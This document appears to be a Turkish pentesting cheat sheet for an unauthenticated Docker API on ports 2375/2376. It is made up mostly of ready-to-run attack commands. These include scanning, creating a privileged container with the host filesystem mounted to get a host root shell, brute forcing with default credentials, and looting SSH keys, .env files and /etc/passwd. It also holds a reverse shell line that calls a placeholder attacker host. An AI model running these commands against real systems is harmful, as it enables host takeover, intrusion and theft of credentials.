2375 - Pentesting Docker
Docker API rce
TCP/2375 korumasız Docker socket demektir. Container oluşturup host filesystem mount = root. Hedef lab IP’si üzerinde komutları 2375 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
2375/2376 doğrula.
-
Unauth /version /containers.
-
Privileged container + host mount.
-
Hostta komut/credential loot.
nmap -Pn -sV -p2375,2376 TARGETnmap -Pn -p2375,2376 --script docker-version TARGETcurl -s http://TARGET:2375/versioncurl -s http://TARGET:2375/containers/jsonRCE via mount
Section titled “RCE via mount”docker -H tcp://TARGET:2375 run -v /:/mnt --rm -it alpine chroot /mnt shcurl -s -X POST http://TARGET:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["id"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'curl -s -X POST http://TARGET:2375/containers/ID/startTLS 2376
Section titled “TLS 2376”curl -vk --cert cert.pem --key key.pem https://TARGET:2376/versionçalıntı client cert = aynı etkiDerin enum
Section titled “Derin enum”Docker için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p2375 TARGETnmap -Pn -p2375 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:2375' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',2375));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → DockerKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 2375 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2375nmap -p2375 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Docker APImsfconsole -q -x 'search Docker API; exit'nuclei -u https://TARGET:2375 -t cves/ -silent -severity || truenuclei -u http://TARGET:2375 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 2375printf '' | timeout 3 nc -nv TARGET 2375curl -vk --http1.0 http://TARGET:2375/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”unauth 2375 → alpine + / mount → host root shell